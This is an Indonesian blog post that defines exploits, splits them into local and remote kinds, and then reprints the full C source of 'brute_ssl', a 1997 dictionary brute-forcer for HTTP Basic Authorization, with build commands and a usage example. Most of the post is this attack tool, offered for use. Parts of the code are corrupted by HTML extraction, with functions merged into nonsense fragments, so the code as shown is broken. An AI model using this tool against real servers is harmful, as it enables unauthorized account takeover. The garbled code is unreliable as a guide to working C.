Exploit

Exploit atau exploitasi merupakan sebuah aksi yang memanfaatkan celah atau kelemahan pada sebuah system, bisa juga berupa bug yang terdapat pada system tersebut.

Exploit digunakan untuk menjalankan sebuah perintah yang akan memberikan akses khusus untuk melakukan tujuan tertentu yang tidak dapat dilakukan pada kondisi normal. Exploit sendiri deprogram dengan menggunakan bahasa C, perl, atau sh. Untuk mendapatkan exploit itu tidaklah susah, banyak sekali situs yang menyediakannya. Sebut saja milworm, antionline, packetstormsecurity, dll.

Exploit bisa dibedakan kedalam dua kategori,

Exploit Lokal

Exploit lokal dapat dilakukan hanya apabila seseorang memiliki hak akses untuk menggunakan sebuah sistem, atau exploit yang hanya digunakan pada kompuer itu sendiri. Contoh exploit lokal

- Buffer Overflow

- Race Conditions

Remote Exploit

Remote exploit dapat terjadi dimana seseorang bisa mengeksploitasi sistem tanpa harus mengetahui username dan password, atau exploit yang dapat dieksekusi dari jarak jauh. Biasanya remote exploit bisa jadi lokal exploit walaupun tidak sebaliknya.

Berikut ini saya berikan sebuah contoh exploit yang cukup terkenal yaitu brute_ssl. Exploit ini dibuat untuk mengilustrasikan sebuah kelemahan pada HTTP Basic Authorization. Protokol HTTP mengizinkan user untuk keluar dengan membuat banyak guest. Exploit ini akan terkoneksi dengan web server yang secure ataupun yang umum dan mencoba untuk mengalikan kombinasi username dan password sampai ditemukan yang tepat.

Untuk melakukannya diperlukan liberary SSLeay yang bisa didapatkan dari ftp://ftp.psy.ug.oz.au/pub/crypto/SSL/ ini bekerja pada SSLeay – 0.8.0 setelah di build, jalankan dengan perintah:

Cc –o brute_ssl –l/usr/local/ssl/include brute_ssl.c \

-l /usr/local/ssl/lib –lssl –lcrypto

Jalankan binary tanpa argument apapun untuk melihat parameternya.

Berikut scriptnya:

</code></span>/*<br /> *<br /> * Brute Web (SSL) v2.0<br /> * Coded by BeastMaster V<br /> * September 13,1997<br /> *<br /> * [NOTES]<br /> * This program was written to illustrate what I see as<br /> * a weakness with HTTP Basic Authorization. The HTTP protocol<br /> * let's you get away with making as many guesses as you<br /> * wish to make when it comes to Basic Authorization. This<br /> * program will connect to a regular or secure web server and<br /> * try multiple username/password combinations until it finds<br /> * the right one and prints out what the username and password<br /> * was for the protected realm. I have only tested this on<br /> * Linux, so you might have to do a little porting to get it<br /> * to work on other platforms. It should be simple though.<br /> *<br /> * [HOWTO]<br /> * To get up and running, you will first need to ftp the SSLeay<br /> * libraries from ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/<br /> * This was written to work with SSLeay-0.8.0. Now after you<br /> * get this compiled and installed, you can build this program<br /> * with a command like:<br /> * cc -o brute_ssl -I/usr/local/ssl/include brute_ssl.c \<br /> * -L/usr/local/ssl/lib -lssl -lcrypto<br /> * Run the binary without any arguments to see the parameters<br /> * that the program takes.<br /> *<br /> * [COMMENTS]<br /> * All comments, gripes, flames, etc. should be sent to<br /> * bryan@scott.net<br /> *<br /> * [DISCLAIMER]<br /> * I am not responsible for anything you do with this,<br /> * so please use this program in a responsible manner.<br /> *<br /> * [WARNING]<br /> * If the webserver you are using this on does logging, then<br /> * it will be quite obvious that you are attacking.<br /> *<br /> */<br /> <br /> #include <errno.h><br /> #include <stdio.h><br /> #include <stdlib.h><br /> #include <string.h><br /> #include <stdarg.h><br /> #include <sys/types.h><br /> #include <sys/time.h><br /> #include <sys/ioctl.h><br /> #include <sys/socket.h><br /> #include <netinet/in.h><br /> #include <netdb.h><br /> #include <unistd.h><br /> #include <fcntl.h><br /> #include <signal.h><br /> <br /> #include <rsa.h><br /> #include <crypto.h><br /> #include <x509.h><br /> #include <pem.h><br /> #include <ssl.h><br /> #include <err.h><br /> <br /> extern int errno, h_errno;<br /> <br /> #define SPACELEFT(buf,ptr) (sizeof buf-((ptr)-buf))<br /> #define newstr(s) strcpy(malloc(strlen(s)+1),s)<br /> #define HTTPD_UNAUTHORIZED 401<br /> #define FL __FILE__,__LINE__<br /> #define MAXDICTWORD 64<br /> #define MAXNAMEPASSLEN 128<br /> #define MAXENCODEDSTRING 256<br /> #define MAXSENDSTRING 300<br /> #define HAS_DICTIONARY 0x0001<br /> #define HAS_USERNAME 0x0002<br /> #define HAS_PORTNUMBER 0x0004<br /> #define HAS_HOSTNAME 0x0008<br /> #define HAS_VERBOSE 0x0010<br /> #define HAS_SSL_OPT 0x0020<br /> #define HAS_REALM 0x0040<br /> #define HAS_DONE_IT 0x0080<br /> #if SSLEAY_VERSION_NUMBER >= 0x0800<br /> #define SSLEAY8<br /> #endif<br /> <br /> char alphabet[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";<br /> char *prg_nme;<br /> int mask;<br /> <br /> struct BASE64_PARAMS<br /> {<br /> unsigned long int accum;<br /> int shift;<br /> int save_shift;<br /> };<br /> <br /> /* BeastMaster V's error logging function */<br /> void proc_err(char *func,char *file,int line,const char *fmt, ...)<br /> {<br /> va_list args;<br /> <br /> if (prg_nme!=NULL)<br /> fprintf(stderr,"[%s]", prg_nme);<br /> <br /> va_start(args, fmt);<br /> <br /> fprintf(stderr," %s() ",func);<br /> fprintf(stderr,"<file:%s> : ",file,line);<br /> vfprintf(stderr, fmt, args);<br /> fputc('\n', stderr);<br /> fflush(stderr);<br /> <br /> va_end(args);<br /> }<br /> <br /> /* an implementation of signal() based on sigaction() */<br /> void (*r_signal(int sig,void(*func)())) (int)<br /> {<br /> struct sigaction act, oact;<br /> act.sa_handler = func;<br /> sigemptyset(&act.sa_mask);<br /> act.sa_flags = 0;<br /> #ifdef SA_RESTART<br /> act.sa_flags |= SA_RESTART;<br /> #endif<br /> if (sigaction(sig, &act, &oact) < i="0,done=" i="=" w="SSL_read(ssl_con,tmp,1);" w="=" done="1;" i="0," done="0;" i="=" w="read(s" w="=" done =" 1;" z="0;" index =" 0;">shift!=0))<br /> {<br /> if ((*(string_to_encode+z))&&(quit==0))<br /> {<br /> blivit = *(string_to_encode +z);<br /> z++;<br /> if (*(string_to_encode+z)==0)<br /> {<br /> quit = 1;<br /> e_p->save_shift=e_p->shift;<br /> blivit=0;<br /> }<br /> }<br /> else<br /> {<br /> quit=1;<br /> e_p->save_shift=e_p->shift;<br /> blivit=0;<br /> }<br /> if ((quit==0)||(e_p->shift!= 0))<br /> {<br /> value=(unsigned long)blivit;<br /> e_p->accum <<= 8; e_p->shift += 8;<br /> e_p->accum |= value;<br /> }<br /> while (e_p->shift >= 6)<br /> {<br /> e_p->shift -= 6;<br /> value = (e_p->accum >> e_p->shift) & 0x3Fl;<br /> blivit = alphabet[value];<br /> *(buf_64+(index++)) = blivit;<br /> if (index >= 60)<br /> {<br /> *(buf_64+index)='\0';<br /> index = 0;<br /> }<br /> if ( quit != 0 )<br /> e_p->shift = 0;<br /> }<br /> }<br /> if (e_p->save_shift==2)<br /> {<br /> *(buf_64+(index++))='=';<br /> if (index>=60)<br /> {<br /> *(buf_64+index)='\0';<br /> index=0;<br /> }<br /> *(buf_64+(index++))='=';<br /> if (index>=60 )<br /> {<br /> *(buf_64+index)='\0';<br /> index=0;<br /> }<br /> }<br /> else if (e_p->save_shift==4)<br /> {<br /> *(buf_64+(index++))='=';<br /> if (index>=60)<br /> {<br /> *(buf_64+index)='\0';<br /> index=0;<br /> }<br /> }<br /> if (index!=0)<br /> *(buf_64+index)='\0';<br /> <br /> return quit;<br /> }<br /> <br /> /* takes string to encode and a user supplied buffer as parameters */<br /> void encode_string (char *name_pass,char *buf_64)<br /> {<br /> struct BASE64_PARAMS e_p;<br /> int quit=0;<br /> register int i;<br /> char s[MAXNAMEPASSLEN+3];<br /> <br /> e_p.shift = 0;<br /> e_p.accum = 0;<br /> <br /> sprintf(s,"%s%c",name_pass,*(name_pass+strlen(name_pass)-1));<br /> base64_encode(quit, &e_p, s,buf_64);<br /> <br /> return;<br /> }<br /> <br /> /* check the web server's HTTP response headers */<br /> short check_response (char *response)<br /> {<br /> short ScanCount;<br /> int httpd_code;<br /> short version;<br /> <br /> ScanCount=sscanf(response,"HTTP/1.%d %d",&version,&httpd_code);<br /> if (ScanCount!=2)<br /> return 0;<br /> <br /> if (httpd_code==HTTPD_UNAUTHORIZED)<br /> return 0;<br /> else<br /> return 1;<br /> }<br /> <br /> /* reads a line from a file */<br /> short read_line(FILE *fp, char *buf)<br /> {<br /> int c;<br /> short done=0;<br /> short i=0;<br /> <br /> while (!done)<br /> {<br /> c=fgetc(fp);<br /> if (c==EOF)<br /> return 0;<br /> if (c=='\n')<br /> {<br /> done=1;<br /> break;<br /> }<br /> if (c)<br /> *(buf+i)=c;<br /> i++;<br /> }<br /> <br /> *(buf+i)='\0';<br /> return i;<br /> }<br /> <br /> void terminate (int sig)<br /> {<br /> proc_err("terminate",FL,"[%s] has caught %d (%s)",<br /> prg_nme,sig,(sig==SIGINT)?"SIGINT":"SIGSEGV");<br /> exit(EXIT_FAILURE);<br /> }<br /> <br /> /* creates a TCP socket and connects it to a peer */<br /> int make_socket(char *in_host,unsigned short port_num)<br /> {<br /> int sd, err;<br /> struct hostent *hp=NULL;<br /> struct sockaddr_in sa;<br /> <br /> sd=socket(AF_INET, SOCK_STREAM, 0);<br /> if (sd==-1)<br /> {<br /> proc_err("make_socket",FL,"Could not create socket->%s",strerror(errno));<br /> exit(EXIT_FAILURE);<br /> }<br /> <br /> hp=gethostbyname(in_host);<br /> if (!hp)<br /> {<br /> if (h_errno==HOST_NOT_FOUND)<br /> proc_err("make_socket",FL,"Could not resolv [%s]->Host not Found",in_host);<br /> else<br /> proc_err("make_socket",FL,"Cound not resolv [%s]->DNS error",in_host);<br /> exit(EXIT_FAILURE);<br /> }<br /> <br /> bzero(&sa,sizeof(sa));<br /> sa.sin_family=hp->h_addrtype;<br /> bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length);<br /> sa.sin_port=htons(port_num);<br /> <br /> err=connect(sd, (struct sockaddr *)&sa,sizeof(sa));<br /> if (err==-1)<br /> {<br /> proc_err("make_socket",FL,"connect() call failed->%s",strerror(errno));<br /> exit(EXIT_FAILURE);<br /> }<br /> return sd;<br /> }<br /> <br /> /* prints the program usage */<br /> void print_usage()<br /> {<br /> int x;<br /> char messages[][255] =<br /> {<br /> "\n\t'%s [options]'\n\n",<br /> "Options:\n",<br /> "\t-v <optional> verbose mode (print responses to stdout)\n",<br /> "\t-z <optional> SSL flag (use this for secure servers)\n",<br /> "\t-d dictionary file (full path to dictionary file)\n",<br /> "\t-u username (a user on the target webserver)\n",<br /> "\t-h hostname (host running the webserver)\n",<br /> "\t-p portnumber (port that the webserver runs on)\n",<br /> "\t-r realm (the full path to the protected realm)\n\n",<br /> "Example:\n",<br /> "\tSay everytime I type https://www.somewhere.com/protected\n",<br /> "\tinto netscape, a box pops up and asks me to enter in a\n",<br /> "\tUser ID and password. Well, I have no idea what User ID\n",<br /> "\tor password to enter in, so I'll try to 'guess' my way in.\n",<br /> "\tI have a dictionary file in /tmp/dict.txt. Next I'll guess\n",<br /> "\ta username of \"foo\". Now I can type a command like:\n",<br /> "\n",<br /> " %s -z -d /tmp/dict.txt -u foo -h www.somewhere.com -p 443 -r /protected\n",<br /> "\n",<br /> "\tNow with any luck I'll eventually see a username and password.\n",<br /> "\ti.e: ----USERNAME=foo PASSWORD=foopass----\n\n",<br /> "\0" <br /> };<br /> <br /> fprintf(stderr,"\n-- Brute Web (SSL) v2.0 --\n");<br /> for(x=0; *messages[x]!='\0';x++)<br /> fprintf(stderr, messages[x], prg_nme);<br /> }<br /> <br /> /* brute_ssl */<br /> int main (unsigned int argc,char **argv, char **envp)<br /> {<br /> int err=0, sd,in_port=0, try=0;<br /> char c, *export_buf=NULL;<br /> SSL *ssl_con=NULL;<br /> SSL_CTX *ssl_ctx=NULL;<br /> unsigned long ssl_err;<br /> FILE *dict_fd=NULL;<br /> char *dict_name=NULL,*in_host=NULL;<br /> char *user=NULL,*realm=NULL, *dict_word=NULL;<br /> char *name_pass_buf=NULL, *encoded_buf=NULL;<br /> char *p_title=NULL;<br /> <br /> if ((prg_nme=strrchr(argv[0],'/')))<br /> ++prg_nme;<br /> else<br /> prg_nme=argv[0];<br /> <br /> mask=0;<br /> <br /> while((c=getopt(argc,argv,"vzd:u:h:p:r:"))!=EOF)<br /> {<br /> switch(c)<br /> {<br /> case 'v':<br /> mask|=HAS_VERBOSE;<br /> break;<br /> case 'z':<br /> mask|=HAS_SSL_OPT;<br /> break;<br /> case 'd':<br /> dict_name=optarg;<br /> mask|=HAS_DICTIONARY;<br /> break;<br /> case 'u':<br /> user=optarg;<br /> mask|=HAS_USERNAME;<br /> break;<br /> case 'h':<br /> in_host=optarg;<br /> mask|=HAS_HOSTNAME;<br /> break;<br /> case 'p':<br /> in_port=atoi(optarg);<br /> if (!in_port)<br /> err++;<br /> mask|=HAS_PORTNUMBER;<br /> break;<br /> case 'r':<br /> realm=optarg;<br /> mask|=HAS_REALM;<br /> break;<br /> case '?':<br /> err++;<br /> }<br /> }<br /> <br /> if ((optind<argc)||err) dict_word="(char">%s",strerror(errno));<br /> exit(EXIT_FAILURE);<br /> }<br /> <br /> name_pass_buf=(char *)malloc(MAXNAMEPASSLEN);<br /> if (!name_pass_buf)<br /> {<br /> proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));<br /> exit(EXIT_FAILURE);<br /> }<br /> <br /> encoded_buf=(char *)malloc(MAXENCODEDSTRING);<br /> if (!encoded_buf)<br /> {<br /> proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));<br /> exit(EXIT_FAILURE);<br /> }<br /> <br /> export_buf=(char *)malloc(MAXSENDSTRING);<br /> if (!export_buf)<br /> {<br /> proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));<br /> exit(EXIT_FAILURE);<br /> }<br /> <br /> dict_fd=fopen(dict_name,"r");<br /> if (dict_fd==NULL)<br /> {<br /> proc_err("main",FL,"Could not open dictionary file->%s",strerror(errno));<br /> exit(EXIT_FAILURE);<br /> }<br /> <br /> <br /> if (mask & HAS_SSL_OPT)<br /> {<br /> SSLeay_add_ssl_algorithms();<br /> SSL_load_error_strings();<br /> ssl_ctx = SSL_CTX_new(SSLv2_client_method());<br /> if (!ssl_ctx)<br /> {<br /> proc_err("main",FL,"Call to SSL_CTX_new return a NULL");<br /> exit(EXIT_FAILURE);<br /> }<br /> }<br /> <br /> <br /> while (read_line(dict_fd,dict_word))<br /> {<br /> sd=make_socket(in_host,in_port);<br /> <br /> if (mask & HAS_SSL_OPT)<br /> {<br /> ssl_con=SSL_new(ssl_ctx);<br /> if (!ssl_con)<br /> {<br /> proc_err("main",FL,"SSL_new() returned NULL.");<br /> exit(EXIT_FAILURE);<br /> }<br /> SSL_set_fd (ssl_con, sd);<br /> ssl_err=SSL_connect(ssl_con);<br /> if (ssl_err<=0) { ssl_err=ERR_get_error(); proc_err("main",FL,"SSL_connect() failed->%s\n", ERR_error_string(ssl_err,export_buf));<br /> exit(EXIT_FAILURE);<br /> }<br /> }<br /> <br /> sprintf(name_pass_buf,"%s:%s",user,dict_word);<br /> encode_string(name_pass_buf,encoded_buf);<br /> sprintf(export_buf,"GET %s HTTP/1.0\nAuthorization: Basic %s\n\n",realm, encoded_buf);<br /> <br /> try++;<br /> <br /> if (mask & HAS_SSL_OPT)<br /> {<br /> SSL_write(ssl_con,export_buf,strlen(export_buf));<br /> SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1);<br /> if (mask & HAS_VERBOSE)<br /> fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);<br /> }<br /> else<br /> {<br /> write(sd,export_buf,strlen(export_buf));<br /> socket_readln(sd,export_buf,MAXSENDSTRING-1);<br /> if (mask & HAS_VERBOSE)<br /> fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);<br /> }<br /> <br /> if (check_response(export_buf))<br /> {<br /> mask |=HAS_DONE_IT;<br /> break;<br /> }<br /> <br /> if (mask & HAS_VERBOSE)<br /> {<br /> if (mask & HAS_SSL_OPT)<br /> {<br /> while(SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1))<br /> fprintf(stdout,"%s",export_buf);<br /> }<br /> else<br /> {<br /> while(socket_readln(sd,export_buf,MAXSENDSTRING-1))<br /> fprintf(stdout,"%s",export_buf);<br /> }<br /> }<br /> <br /> close(sd);<br /> <br /> if (mask & HAS_SSL_OPT)<br /> SSL_free(ssl_con);<br /> }<br /> <br /> if (mask & HAS_DONE_IT)<br /> fprintf(stdout,"\n\n\t----USERNAME=%s PASSWORD=%s----\n\n",user,dict_word);<br /> else<br /> fprintf(stdout,"\n\n\t----Sorry, but I could not get in.----\n");<br /> <br /> free(dict_word);<br /> free(name_pass_buf);<br /> free(export_buf);<br /> if (mask & HAS_SSL_OPT)<br /> SSL_CTX_free(ssl_ctx);<br /> }<br /> <span class="fullpost"><code><span style="color: rgb(114, 45, 50);"></span>

Script diatas bisa anda dapatkan Disini